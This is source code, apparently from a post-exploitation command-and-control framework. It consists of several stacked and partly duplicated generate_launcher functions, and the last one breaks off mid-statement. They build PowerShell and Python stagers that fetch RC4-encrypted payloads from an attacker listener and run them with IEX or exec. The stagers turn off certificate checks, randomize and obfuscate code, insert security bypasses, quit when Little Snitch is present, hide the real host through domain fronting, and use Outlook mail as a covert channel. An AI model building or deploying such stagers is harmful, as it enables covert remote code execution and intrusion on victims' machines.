def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default',
proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='',
listenerName=None, bypasses: List[str]=None):
"""
Generate a basic launcher for the specified listener.
"""
bypasses = [] if bypasses is None else bypasses
if not language:
print(helpers.color('[!] listeners/template generate_launcher(): no language specified!'))
return None
if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
for bypass in bypasses:
stager += bypass
stager += "};"
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") + "=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
profile = listenerOptions['DefaultProfile']['Value']
userAgent = profile.split('|')[1]
stager += "$u='" + userAgent + "';"
if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != 'none' or proxy.lower() != 'none':
if userAgent.lower() != 'none':
stager += helpers.randomize_capitalization(
'$' + helpers.generate_random_script_var_name("wc") + '.Headers.Add(')
stager += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
stager += helpers.randomize_capitalization("$" + helpers.generate_random_script_var_name(
"wc") + ".Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
else:
# TODO: implement form for other proxy
stager += helpers.randomize_capitalization(
"$proxy=New-Object Net.WebProxy('" + proxy.lower() + "');")
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") + ".Proxy = $proxy;")
if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization("$" + helpers.generate_random_script_var_name(
"wc") + ".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
else:
# TODO: implement form for other proxy credentials
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
if len(username.split('\\')) > 1:
usr = username.split('\\')[1]
domain = username.split('\\')[0]
stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');"
else:
usr = username.split('\\')[0]
stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "');"
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") + ".Proxy.Credentials = $netcred;")
# save the proxy settings to use during the entire staging process and the agent
stager += "$Script:Proxy = $" + helpers.generate_random_script_var_name("wc") + ".Proxy;"
# TODO: reimplement stager retries?
# check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL',
meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8")
# stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';"
stager += "$ser=%s;$t='%s';$hop='%s';" % (
helpers.obfuscate_call_home_address(host), stage0, listenerName)
# Add custom headers if any
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
# If host header defined, assume domain fronting is in use and add a call to the base URL first
# this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if headerKey.lower() == "host":
stager += helpers.randomize_capitalization(
"try{$ig=$" + helpers.generate_random_script_var_name(
"wc") + ".DownloadData($ser)}catch{};")
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") + ".Headers.Add(")
stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") + ".Headers.Add(")
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
stager += helpers.randomize_capitalization(
"$data=$" + helpers.generate_random_script_var_name("wc") + ".DownloadData($ser+$t);")
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
if language.startswith('py'):
# Python
launcherBase = 'import sys;'
if "https" in host:
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
try:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
launcherBase += "out, err = ps.communicate()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:
p = "[!] Error setting LittleSnitch in stager: " + str(e)
print(helpers.color(p, color='red'))
if userAgent.lower() == 'default':
profile = listenerOptions['DefaultProfile']['Value']
userAgent = profile.split('|')[1]
launcherBase += "import urllib2;\n"
launcherBase += "UA='%s';" % (userAgent)
launcherBase += "server='%s';t='%s';" % (host, stage0)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON',
meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8")
launcherBase += "req=urllib2.Request(server+t);\n"
# add the RC4 packet to a cookie
launcherBase += "req.add_header('User-Agent',UA);\n"
launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (b64RoutingPacket)
# Add custom headers if any
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
# launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue)
if proxy.lower() != "none":
if proxy.lower() == "default":
launcherBase += "proxy = urllib2.ProxyHandler();\n"
else:
proto = proxy.Split(':')[0]
launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n"
if proxyCreds != "none":
if proxyCreds == "default":
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "o = urllib2.build_opener();\n"
# install proxy and creds globally, so they can be used with urlopen.
launcherBase += "urllib2.install_opener(o);\n"
# download the stager and extract the IV
launcherBase += "a=urllib2.urlopen(req).read();\n"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
launcherBase += "key=IV+'%s';" % (stagingKey)
# RC4 decryption
launcherBase += "S,j,out=range(256),0,[]\n"
launcherBase += "for i in range(256):\n"
launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += "i=j=0\n"
launcherBase += "for char in data:\n"
launcherBase += " i=(i+1)%256\n"
launcherBase += " j=(j+S[i])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
launcherBase += "exec(''.join(out))"
if encode:
launchEncoded = base64.b64encode(launcherBase).decode("utf-8")
launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python3 &" % (
launchEncoded)
return launcher
else:
return launcherBase
else:
print(helpers.color(
"[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."))
else:
print(helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!"))
def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None,
bypasses: List[str] = None):
"""
Generate a basic launcher for the specified listener.
"""
bypasses = [] if bypasses is None else bypasses
if not language:
print(
helpers.color(
'[!] listeners/http_com generate_launcher(): no language specified!'
))
if listenerName and (listenerName in self.threads) and (
listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
requestHeader = listenerOptions['RequestHeader']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization(
"If($PSVersionTable.PSVersion.Major -ge 3){")
for bypass in bypasses:
stager += bypass
stager += "};"
stager += helpers.randomize_capitalization(
"[System.Net.ServicePointManager]::Expect100Continue=0;"
)
# TODO: reimplement stager retries?
# check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(
bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(
bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("K") +
"=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$' + helpers.generate_random_script_var_name("K") +
'=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$' +
helpers.generate_random_script_var_name("K") + '[$_%$' +
helpers.generate_random_script_var_name("K") +
'.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
stager += "$ser=" + helpers.obfuscate_call_home_address(
host) + ";$t='" + stage0 + "';"
# add the RC4 packet to a header location
stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket)
# Add custom headers if any
modifyHost = False
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
if headerKey.lower() == "host":
modifyHost = True
stager += "`r`n%s: %s" % (headerKey, headerValue)
stager += "\";"
# If host header defined, assume domain fronting is in use and add a call to the base URL first
# this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if modifyHost:
stager += helpers.randomize_capitalization(
"$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};"
)
stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$" +
helpers.generate_random_script_var_name("K") + ")) | IEX")
if obfuscate:
stager = helpers.obfuscate(
self.mainMenu.installPath,
stager,
obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print(
helpers.color(
"[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
))
else:
print(
helpers.color(
"[!] listeners/http_com generate_launcher(): invalid listener name specification!"
))
def generate_launcher(
self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent="default",
proxy="default",
proxyCreds="default",
stagerRetries="0",
language=None,
safeChecks="",
listenerName=None,
bypasses: List[str] = None,
):
"""
Generate a basic launcher for the specified listener.
"""
bypasses = [] if bypasses is None else bypasses
if not language:
print(
helpers.color(
"[!] listeners/http_foreign generate_launcher(): no language specified!"
))
if listenerName and (listenerName
in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]["options"]
host = listenerOptions["Host"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
stagingKey = listenerOptions["StagingKey"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
uris = [a for a in profile.split("|")[0].split(",")]
stage0 = random.choice(uris)
customHeaders = profile.split("|")[2:]
if language.startswith("po"):
# PowerShell
stager = '$ErrorActionPreference = "SilentlyContinue";'
if safeChecks.lower() == "true":
stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
for bypass in bypasses:
stager += bypass
stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
stager += "$wc=New-Object System.Net.WebClient;"
if userAgent.lower() == "default":
profile = listenerOptions["DefaultProfile"]["Value"]
userAgent = profile.split("|")[1]
stager += f"$u='{ userAgent }';"
if "https" in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != "none" or proxy.lower() != "none":
if userAgent.lower() != "none":
stager += "$wc.Headers.Add('User-Agent',$u);"
if proxy.lower() != "none":
if proxy.lower() == "default":
stager += (
"$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
)
else:
# TODO: implement form for other proxy
stager += "$proxy=New-Object Net.WebProxy;"
stager += f"$proxy.Address = '{ proxy.lower() }';"
stager += "$wc.Proxy = $proxy;"
if proxyCreds.lower() == "default":
stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
else:
# TODO: implement form for other proxy credentials
username = proxyCreds.split(":")[0]
password = proxyCreds.split(":")[1]
domain = username.split("\\")[0]
usr = username.split("\\")[1]
stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');"
stager += f"$wc.Proxy.Credentials = $netcred;"
# TODO: reimplement stager retries?
# Add custom headers if any
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(":")[0]
headerValue = header.split(":")[1]
stager += f'$wc.Headers.Add("{ headerKey }","{ headerValue }");'
# code to turn the key string into a byte array
stager += (
f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');"
)
# this is the minimized RC4 stager code from rc4.ps1
stager += "$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};"
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID="00000000",
language="POWERSHELL",
meta="STAGE0",
additional="None",
encData="",
)
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket.decode("UTF-8") }");'
stager += f"$ser= { data_util.obfuscate_call_home_address(host) };$t='{ stage0 }';"
stager += "$data=$wc.DownloadData($ser+$t);"
stager += "$iv=$data[0..3];$data=$data[4..$data.length];"
# decode everything and kick it over to IEX to kick off execution
stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"
if obfuscate:
stager = data_util.obfuscate(
self.mainMenu.installPath,
stager,
obfuscationCommand=obfuscationCommand,
)
# base64 encode the stager and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
if language.startswith("py"):
# Python
launcherBase = "import sys;"
if "https" in host:
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
try:
if safeChecks.lower() == "true":
launcherBase += "import re, subprocess;"
launcherBase += (
'cmd = "ps -ef | grep Little\ Snitch | grep -v grep"\n'
)
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
launcherBase += "out, err = ps.communicate()\n"
launcherBase += (
"if re.search(\"Little Snitch\", out.decode('UTF-8')):\n"
)
launcherBase += " sys.exit()\n"
except Exception as e:
p = "[!] Error setting LittleSnitch in stagger: " + str(e)
print(helpers.color(p, color="red"))
if userAgent.lower() == "default":
profile = listenerOptions["DefaultProfile"]["Value"]
userAgent = profile.split("|")[1]
launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();"
launcherBase += "UA='%s';" % (userAgent)
launcherBase += "server='%s';t='%s';" % (host, stage0)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID="00000000",
language="POWERSHELL",
meta="STAGE0",
additional="None",
encData="",
)
b64RoutingPacket = base64.b64encode(routingPacket).decode(
"UTF-8")
# add the RC4 packet to a cookie
launcherBase += (
'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session=%s")];\n'
% (b64RoutingPacket))
launcherBase += "import urllib.request\n"
if proxy.lower() != "none":
if proxy.lower() == "default":
launcherBase += "proxy = urllib.request.ProxyHandler();\n"
else:
proto = proxy.Split(":")[0]
launcherBase += (
"proxy = urllib.request.ProxyHandler({'" + proto +
"':'" + proxy + "'});\n")
if proxyCreds != "none":
if proxyCreds == "default":
launcherBase += "o = urllib.request.build_opener(proxy);\n"
else:
launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(":")[0]
password = proxyCreds.split(":")[1]
launcherBase += (
"proxy_auth_handler.add_password(None,'" +
proxy + "','" + username + "','" + password +
"');\n")
launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib.request.build_opener(proxy);\n"
else:
launcherBase += "o = urllib.request.build_opener();\n"
# install proxy and creds globally, so they can be used with urlopen.
launcherBase += "urllib.request.install_opener(o);\n"
# download the stager and extract the IV
launcherBase += "a=o.open(server+t).read();"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
launcherBase += "key=IV+'%s';" % (stagingKey)
# RC4 decryption
launcherBase += "S,j,out=list(range(256)),0,[]\n"
launcherBase += "for i in list(range(256)):\n"
launcherBase += " j=(j+S[i]+key[i%len(key)])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += "i=j=0\n"
launcherBase += "for char in data:\n"
launcherBase += " i=(i+1)%256\n"
launcherBase += " j=(j+S[i])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += " out.append(chr(char^S[(S[i]+S[j])%256]))\n"
launcherBase += "exec(''.join(out))"
if encode:
launchEncoded = base64.b64encode(
launcherBase.encode("UTF-8")).decode("UTF-8")
if isinstance(launchEncoded, bytes):
launchEncoded = launchEncoded.decode("UTF-8")
launcher = (
"echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &"
% (launchEncoded))
return launcher
else:
return launcherBase
else:
print(
helpers.color(
"[!] listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
))
else:
print(
helpers.color(
"[!] listeners/http_foreign generate_launcher(): invalid listener name specification!"
))
def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None,
bypasses: List[str] = None):
"""
Generate a basic launcher for the specified listener.
"""
bypasses = [] if bypasses is None else bypasses
if not language:
print(
helpers.color(
'[!] listeners/http generate_launcher(): no language specified!'
))
if listenerName and (listenerName in self.threads) and (
listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
launcher = listenerOptions['Launcher']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization(
"If($PSVersionTable.PSVersion.Major -ge 3){")
for bypass in bypasses:
stager += bypass
stager += "};"
stager += helpers.randomize_capitalization(
'Add-Type -assembly "Microsoft.Office.Interop.Outlook";'
)
stager += "$" + helpers.generate_random_script_var_name(
"GPF"
) + " = New-Object -comobject Outlook.Application;"
stager += helpers.randomize_capitalization(
'$mapi = $' +
helpers.generate_random_script_var_name("GPF") +
'.GetNameSpace("')
stager += 'MAPI");'
if listenerOptions['Email']['Value'] != '':
stager += '$fld = $' + helpers.generate_random_script_var_name(
"GPF"
) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[
'Email'][
'Value'] + '"} | %{$_.Folders.Item(2).Folders.Item("' + listenerOptions[
'Folder']['Value'] + '")};'
stager += '$fldel = $' + helpers.generate_random_script_var_name(
"GPF"
) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[
'Email']['Value'] + '"} | %{$_.Folders.Item(3)};'
else:
stager += '$fld = $' + helpers.generate_random_script_var_name(
"GPF"
) + '.Session.GetDefaultFolder(6).Folders.Item("' + listenerOptions[
'Folder']['Value'] + '");'
stager += '$fldel = $' + helpers.generate_random_script_var_name(
"GPF") + '.Session.GetDefaultFolder(3);'
# clear out all existing mails/messages
stager += helpers.randomize_capitalization(
"while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}"
)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization(
'$mail = $' +
helpers.generate_random_script_var_name("GPF") +
'.CreateItem(0);$mail.Subject = "')
stager += 'mailpireout";'
stager += helpers.randomize_capitalization('$mail.Body = ')
stager += '"STAGE - %s"' % b64RoutingPacket
stager += helpers.randomize_capitalization(
';$mail.save() | out-null;')
stager += helpers.randomize_capitalization(
'$mail.Move($fld)| out-null;')
stager += helpers.randomize_capitalization(
'$break = $False; $data = "";')
stager += helpers.randomize_capitalization(
"While ($break -ne $True){")
stager += helpers.randomize_capitalization(
'$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;'
)
stager += helpers.randomize_capitalization(
'$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}'
)
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(
self.mainMenu.installPath,
stager,
obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print(
helpers.color(
"[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
))
else:
print(
helpers.color(
"[!] listeners/http_mapi generate_launcher(): invalid listener name specification!"
))
def generate_launcher(
self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent="default",
proxy="default",
proxyCreds="default",
stagerRetries="0",
language=None,
safeChecks="",
listenerName=None,
bypasses: List[str] = None,
):
"""
Generate a basic launcher for the specified listener.
"""
bypasses = [] if bypasses is None else bypasses
if not language:
print(
helpers.color(
"[!] listeners/http_com generate_launcher(): no language specified!"
)
)
if (
listenerName
and (listenerName in self.threads)
and (listenerName in self.mainMenu.listeners.activeListeners)
):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName][
"options"
]
host = listenerOptions["Host"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
staging_key = listenerOptions["StagingKey"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
requestHeader = listenerOptions["RequestHeader"]["Value"]
uris = [a for a in profile.split("|")[0].split(",")]
stage0 = random.choice(uris)
customHeaders = profile.split("|")[2:]
if language.startswith("po"):
# PowerShell
stager = '$ErrorActionPreference = "SilentlyContinue";'
if safeChecks.lower() == "true":
stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
for bypass in bypasses:
stager += bypass
stager += "};"
stager += "[System.Net.ServicePointManager]::Expect100Continue=0;"
# TODO: reimplement stager retries?
# check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions["BindIP"]["Value"]
port = listenerOptions["Port"]["Value"]
if ":" in bindIP:
if "http" in host:
if "https" in host:
host = (
"https://" + "[" + str(bindIP) + "]" + ":" + str(port)
)
else:
host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port)
# code to turn the key string into a byte array
stager += (
f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');"
)
# this is the minimized RC4 stager code from rc4.ps1
stager += "$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};"
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
staging_key,
sessionID="00000000",
language="POWERSHELL",
meta="STAGE0",
additional="None",
encData="",
)
b64RoutingPacket = base64.b64encode(routingPacket)
stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
stager += f"$ser={ data_util.obfuscate_call_home_address(host) };$t='{ stage0 }';"
# add the RC4 packet to a header location
stager += f'$c="{ requestHeader }: { b64RoutingPacket }'
# Add custom headers if any
modifyHost = False
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(":")[0]
headerValue = header.split(":")[1]
if headerKey.lower() == "host":
modifyHost = True
stager += f"`r`n{ headerKey }: { headerValue }"
stager += '";'
# If host header defined, assume domain fronting is in use and add a call to the base URL first
# this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if modifyHost:
stager += "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};"
stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
stager += (
